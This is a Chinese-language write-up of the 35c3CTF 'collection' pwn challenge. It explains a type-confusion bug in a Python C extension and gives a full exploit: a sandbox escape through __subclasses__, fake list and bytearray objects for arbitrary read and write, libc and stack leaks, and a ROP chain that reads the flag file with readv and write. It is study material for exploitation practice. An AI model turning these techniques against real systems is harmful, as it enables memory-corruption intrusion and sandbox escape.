35c3CTF collection writeup

Anciety / 2019-01-01 10:14:00 / 浏览数 4581

35c3CTF collection writeup

这次的c3系列CTF同往常一样具有非常高的质量，题目非常有意思，这道题目是pwn题里最为简单的一道，对于新手来说比较友好，可以娱乐玩一下，看看和国内libc题不一

Python基础

对于这个题目来说，你需要了解python内部的一些基本原理，最好是看过源码，那样的话我觉得你就没有需要看wp的必要了hhh。

在我很久以前的文章里曾经介绍过相关的知识，需要的同学可以粗浅的看一下：

https://www.anquanke.com/post/id/86366

这里就不再赘述了。

题目基本分析

题目给了一个python3.6和一个Collection.cpython-36m-x86_64-linux-gnu.so，对于熟悉python的同学来讲，看到这个应该就能想到这个属于用C写的python的

python是一个非常方便使用C代码的语言，用C写的python扩展，在格式符合条件，文件名正确（像这个文件名的格式就是库的一种比较标准的格式），就可以像python代

题目所有文件：

```
27 ■ ✔ ■ tree dist/
dist/
■■■ Collection.cpython-36m-x86_64-linux-gnu.so
■■■ libc-2.27.so
■■■ python3.6
■■■ server.py
■■■ test.py
```

test.py

```
import Collection

a = Collection.Collection({"a":1337, "b":[1.2], "c":{"a":45545}})

print(a.get("a"))
print(a.get("b"))
print(a.get("c"))
```

这个文件里给出了这个python扩展的基本用法，看起来没什么太多特别的东西。

在server.py里，给出了在远程服务器运行的代码，是py2写的，所以明显这个不是攻击的目标。主要逻辑是加上了一个沙箱（在执行你给出的python代码前加入了一段代

加入的代码：

```
prefix = """
from sys import modules
del modules['os']
import Collection
keys = list(__builtins__.__dict__.keys())
for k in keys:
   if k != 'id' and k != 'hex' and k != 'print' and k != 'range':
       del __builtins__.__dict__[k]

"""
```

属于一个典型的python沙箱，而且看起来还是比较强的，只留下了id,hex,print,■range■■len`都没有。但是熟悉python沙箱的同学来讲可能会考虑到这种沙箱依然会存

下一步就是需要逆向了，既然是一个库，里边的一些符号是不能删除的，所以函数名字之类的大多还保留着，对于我们逆向来说还是比较友好的。但是同样由于是使用到pyt

```
__int64 PyInit_Collection()
{
 __int64 v0; // rax
```

```
 __int64 v1; // rbx

 if ( (int)PyType_Ready((__int64)&CollectionTypeObject) < 0 )
   return 0LL;
 v0 = PyModule_Create2(&collection_module_def, 0x3F5LL);
 v1 = v0;
 if ( v0 )
 {
   ++CollectionTypeObject.ob_base.ob_base.ob_refcnt;
   PyModule_AddObject(v0, (__int64)"Collection", (__int64)&CollectionTypeObject);
   mprotect((void *)0x439000, 1uLL, 7);
   MEMORY[0x43968F] = _mm_load_si128((const __m128i *)&xmmword_27E0);
   MEMORY[0x43969F] = MEMORY[0x43968F];
   mprotect((void *)0x439000, 1uLL, 5);
   init_sandbox();
 }
 return v1;
}
```

从函数名可以看出来这里是入口，当然另外一个比较推荐的做这种题的方法是去了解一些背景知识，这样可以理解的更全面一些。对于这道题来讲就是去了解用c写的python
`PyType_Ready (PyTypeObject *type)`，传入的参数是一个`PyTypeObject`，我们需要定义出这个结构体才能够更好的去逆向，因为可能需要查看他其中的一些参数。在linux内核驱动的一些题目当中也会
header的方法去把类型直接从python中提取出来。

这个方法中需要注意的是，对于正常的debug编译来说是没有类型信息的，需要使用`-g3`的debug编译等级，需要在编译python的时候：

```
./configure CFLAGS=-g3
make -j4
```

这样就可以编译出带有type的python，然后用ida打开，选择`file -> produce file -> create C header`就可以导出到header，在逆向so库的这边把header导入就可以得到类型信息了。

在恢复完类型信息之后，我们就可以看看so库里定义的一些关键的接口了：

```
.data:00000000002041E0                dq offset CollectionTypeMethod; tp_methods
...
.data:00000000002041E0                dq offset CollectionInit; tp_init
.data:00000000002041E0                dq 0                    ; tp_alloc
.data:00000000002041E0                dq offset CollectionNew ; tp_new
```

在methods里：

```
.data:00000000002041A0 CollectionTypeMethod dq offset collection_get_name; ml_name
.data:00000000002041A0                                        ; DATA XREF: .data:CollectionTypeObject↓o
.data:00000000002041A0                dq offset collection_get; ml_meth ; "get" ...
.data:00000000002041A0                dd 1                    ; ml_flags
.data:00000000002041A0                db 4 dup(0)
.data:00000000002041A0                dq offset CollectionGetDoc; ml_doc
```

所以说这个库基本就是定义了`Collection.Collection`对象的初始化，和他的`get`方法。

在有了类型信息之后，接下来的逆向并不困难，我就不再详细去描述了，基本方法就是看到python的函数，去查找签名，把类型改对。几个重要的自定义类型：

```
struct PyCollectionObject
{
 PyObject ob_base;
 MyTypeHandler *handler;
 void *slots[32];
};


struct MyTypeHandler
{
 MyList *list;
 int maybe_ref;
};


struct MyList
{
 MyNode *head;
```

```
 MyNode *last;
 int num;
};


struct MyNode
{
 MyRecord *record;
 struct MyNode *next;
};


struct MyRecord
{
 char *name;
 int type;
};
```

总结一下题目的基本逻辑：

1. server中：设置py沙箱，打开flag，设置fd为1023然后启动用户的python程序。设置沙箱：这一步导致我们根本不用考虑去绕过python层的沙箱了，因为在`import Collection`的时候有`init_sandbox`操作，加入了seccomp，只能使用白名单，我主要在意了白名单里有`write`和`readv`，但是没有open。
2. 有`Collection.Collection`对象，和该对象上的`.get`方法。对象初始化接受一个dict，dict的key必须为字符串，然后value为数值/list/dict中的一种。`.get`接受一个
3. 在初始化时会建立一个`handler`，相当于key的缓存，会保存下传入的dict的key的内容（字符串内容）和类型（是整数还是列表还是字典），建立之后会存入缓存的han
4. handler的"一样"的比较，是将两个handler按照字典序排序，之后比较两个handler相应位置的key和类型是不是都一样，如果完全一样则一样，否则则不同
5. 在`.get`的时候，首先从`handler`里找到对应key所在的索引，然后从对象里的`slots`里取出内容返回，如果是整数，还需要进行一次转换，将整数转换为python的整数对

漏洞点

漏洞点就在题目的逻辑里。因为在比较的时候两个handler是经过排序的，排序之后认为相同，则就使用现有的handler了，但是事实上两个handler相同之后，他们的顺序可

举个例子：

假设第一个对象的dict为`{"a": 1, "b":[1]}`
第二个为`{"b":[1], "a": 1}`，
那么两个对象的handler是肯定一样的，因为他们经过排序之后的类型和key字符串都是相同的，但是存储在对象中的具体顺序并不同：

第一个对象中的slots：

```
slots[0] ==> 1
slots[1] ==> [1]
```

第二个对象中的slots：

```
slots[0] ==> [1]
slots[1] ==> 1
```

现在我们要去取第二个对象的a:

```
index of 'a': 0 (■■■■■■■handler■■■■■■■■■■■■■■■■handler■■■■■■■■■■■■■■■handler■■)
■slots[0] ==> [1]
```

明显出现了问题。

而且这里由于类型不同，就会导致python类型混淆，把整数当做list的地址，或是dict的地址来处理，这样就给了我们利用的前提了。

利用思路

接下来我们要思考如何把漏洞的控制能力放大。我个人比较喜欢使用这样的思路去思考利用，就是关注控制能力，例如任意读写就比溢出的控制能力更强，从任意读写可以限

我们现在对漏洞的控制能力是我们可以做到不同对象的混淆，但是只有混淆还不够。

由于list或者dict在slots中的体现都是地址，而整数则是直接的数，所以利用混淆，我们可以将任意位置当做list或者是dict来处理。这样就相当于我们从混淆，做到了将任意

对于这种情况，一般我们会考虑去做到任意地址读写，一方面在于这样的能力非常强，可以做到很多事情，几乎等于完成利用，另一方面由于我们有python本身在运行，内

接下来就需要阅读一些python的代码了，因为我们需要去找合适的混淆目标。

首先是list：

```
typedef struct {
   PyObject_VAR_HEAD
   /* Vector of pointers to list elements.  list[0] is ob_item[0], etc. */
   PyObject **ob_item;

   /* ob_item contains space for 'allocated' elements.  The number
    * currently in use is ob_size.
    * Invariants:
    *     0 <= ob_size <= allocated
    *     len(list) == ob_size
    *     ob_item == NULL implies ob_size == allocated == 0
    * list.sort() temporarily sets allocated to -1 to detect mutations.
    *
    * Items must normally not be NULL, except during construction when
    * the list is not yet visible outside the function that builds it.
    */
   Py_ssize_t allocated;
} PyListObject;
```

还有dict：

```
typedef struct {
   PyObject_HEAD

   /* Number of items in the dictionary */
   Py_ssize_t ma_used;

   /* Dictionary version: globally unique, value change each time
      the dictionary is modified */
   uint64_t ma_version_tag;

   PyDictKeysObject *ma_keys;

   /* If ma_values is NULL, the table is "combined": keys and values
      are stored in ma_keys.

      If ma_values is not NULL, the table is splitted:
      keys are stored in ma_keys and values are stored in ma_values */
   PyObject **ma_values;
} PyDictObject;
```

看起来差不了太多，感觉dict的对象更麻烦一些，list里就是用一个指针数组保存了list里对象的指针，然后保存了size。由于我们在瞎搞python内部，最简单的总是最好的，

好了，我们知道了list的具体结构，我们也可以将任意位置当做list来处理，那将什么地址拿来处理才有效呢？我们需要一段连续的地址空间。

于是我想到了str，当然，为了避免奇怪的编码问题，我想到了bytes:

```
typedef struct {
   PyObject_VAR_HEAD
   Py_hash_t ob_shash;
   char ob_sval[1];

   /* Invariants:
    *     ob_sval contains space for 'ob_size+1' elements.
    *     ob_sval[ob_size] == 0.
    *     ob_shash is the hash of the string or -1 if not computed yet.
    */
} PyBytesObject;
```

所以在`ob_sval`之后的应该就是可控的连续内容了，加上我们有`id`函数，地址泄露是不需要担心的，这样我们的控制能力就又强了一点，现在可以做到伪造任意list了。

接下来原本我是打算从list里直接去做到任意地址读写，直到我想起来。。。python里都是对象！所以那个list的指针数组，指向的内容，也都是对象的指针，那么例如我写入
a的`a[0]`，其实是往那个指针数组的`[0]`位置写了一个地址！

所以用list做任意读写并不现实，那么我们需要找一个能够直接写入值而非对象的类型。之前都想到bytes了，现在需要他可以更改，那就bytearray嘛。

```
typedef struct {
   PyObject_VAR_HEAD
   Py_ssize_t ob_alloc; /* How many bytes allocated in ob_bytes */
   char *ob_bytes;      /* Physical backing buffer */
   char *ob_start;      /* Logical start inside ob_bytes */
```

```
   /* XXX(nnorwitz): should ob_exports be Py_ssize_t? */
   int ob_exports;      /* How many buffer exports */
} PyByteArrayObject;
```

看到ob_bytes大家应该就放心了，这直接就是一个缓冲区，可以直接更改，size也可控，所以如果能伪造一个bytearray，就可以任意读写了。

不过事情没这么简单，要伪造bytearray，我们应当可以把一个任意地址解释为bytearray，但是具有漏洞的对象限制了类型，只允许使用list，dict和整数，所以只能解释为l

还好的是，并不是伪造list就没用了，刚才我们说到，伪造list可以让我把一个对象指针写入任意地址，这个对象指针也是可控的，所以我们可以把那个对象指针直接写入到b

所以总结一下思路：

1. 建立一个目标bytearray
2. 利用bytes伪造一个list，`id(X) + 0x20`即为写入的bytes内容的地址（这个可以调试得到），指针数组设置为bytearray地址的`ob_bytes`位置
3. 利用构造的list，将一个新的bytearray的地址写入到第一步中的bytearray的`ob_bytes`和`ob_start`位置
4. 这样就已经做到任意读写了，每次修改第一步的bytearray，让他的内容是一个伪造的bytearray，地址指向需要读写的地址，然后使用第三步的进行读写

有了任意读写之后就很简单了，有了打开的flag的fd，有`readv`和`write`，构造好数据进行读取即可。当然，这意味着我们需要连续调用函数，那么思路就是执行shellcode

BUT!

思考一下我们的思路有啥问题吗？

没有bytearary！也没有bytes！甚至都没有list！

当时看到这个问题我还是慌了一下，不过还好随即找到了绕过方法，由于我们只是需要type，绕过还是比较简单的：

```
subs = [].__class__.mro()[1].__subclasses__()
for cls in subs:
   if cls.__name__ == 'bytearray':
       bytearray = cls

   if cls.__name__ == 'list':
       list = cls

   if cls.__name__ == 'bytes':
       bytes = cls
```

exp

```
'''
from sys import modules
del modules['os']
import Collection
keys = list(__builtins__.__dict__.keys())
for k in keys:
   if k != 'id' and k != 'hex' and k != 'print' and k != 'range':
       del __builtins__.__dict__[k]
'''

subs = [].__class__.mro()[1].__subclasses__()
for cls in subs:
   if cls.__name__ == 'bytearray':
       bytearray = cls

   if cls.__name__ == 'list':
       list = cls

   if cls.__name__ == 'bytes':
       bytes = cls

def p64(x):
   result = b''
   for i in range(8):
       result += bytes([x & 0xff])
       x >>= 8

   return result
```

```
def u64(s):
   result = 0
   for i in range(8):
       result += s[i] << (8 * i)
   return result


buf = bytearray(b'1' * 0x1000)
fake_list = p64(0x10) + p64(id(list)) + p64(0x100) + p64(id(buf) + 0x20) + p64(id(buf))
print('buf @ 0x%x' % id(buf))
print('fake_list @ 0x%x' % id(fake_list))

a = Collection.Collection({'a': [1], 'b': 2, 'c': 3})
b = Collection.Collection({'b': id(fake_list) + 0x20, 'a': [2], 'c': 3})
some = bytearray(b'2' * 0x1000)
b.get('a')[0] = some
b.get('a')[1] = some

def set_addr(addr):
   payload = p64(0x10) + p64(id(bytearray)) + p64(0x1000) + p64(0x1001) + \
           p64(addr) + p64(addr)
   for i in range(6 * 8):
       buf[i] = payload[i]

def arbitrary_read(addr, length):
   set_addr(addr)

   assert length < 0x1000 # can be larger, but .. really?
   return some[:length]

def arbitrary_write(addr, length, buf):
   set_addr(addr)

   for i in range(length):
       some[i] = buf[i]

malloc_addr = u64(arbitrary_read(0x9b32f8, 0x8))
print('malloc @ 0x%x' % malloc_addr)
libc_base = malloc_addr - 0x97070
print('libc_base @ 0x%x' % libc_base)
environ_addr = 0xa4f980

stack_addr = u64(arbitrary_read(environ_addr, 8))
print('stack @ 0x%x' % stack_addr)

write_from = stack_addr - 0x400
leak_buf_back = 0x9b4000
pop_rdi = 0x421612
pop_rsi = 0x42110e
pop_rdx = 0x4026c1
ret = 0x455ea2

iov_struct = p64(leak_buf_back) + p64(0x1000)

payload = p64(pop_rdi)
payload += p64(1023)
payload += p64(pop_rsi)
payload += p64(id(iov_struct) + 0x20)
payload += p64(pop_rdx)
payload += p64(1)
payload += p64(0x4208b0) # readv(1023, buf, 0x1000)
payload += p64(pop_rdi)
payload += p64(0x1)
payload += p64(pop_rsi)
payload += p64(leak_buf_back)
payload += p64(pop_rdx)
payload += p64(0x1000)
payload += p64(0x4207e0) # write(1, buf, 0x1000)
```

```
filled = p64(ret) * 0x60 + payload

arbitrary_write(write_from, (14 + 0x60) * 8, filled)

#print(b.get('a')[2])

END_OF_PWN
```

结论

题目并不太难，我讲的比较啰嗦，总的来说python的利用还是比较好写的，对象内存layout非常好找（是的我就是针对v8），大家可以尝试一下，是一个比较好的进阶题目

上一篇：phpmywind5.5代码审计 下一篇：利用EXCEL进行XXE攻击

1. 0 条回复
   - 动动手指，沙发就是你的了！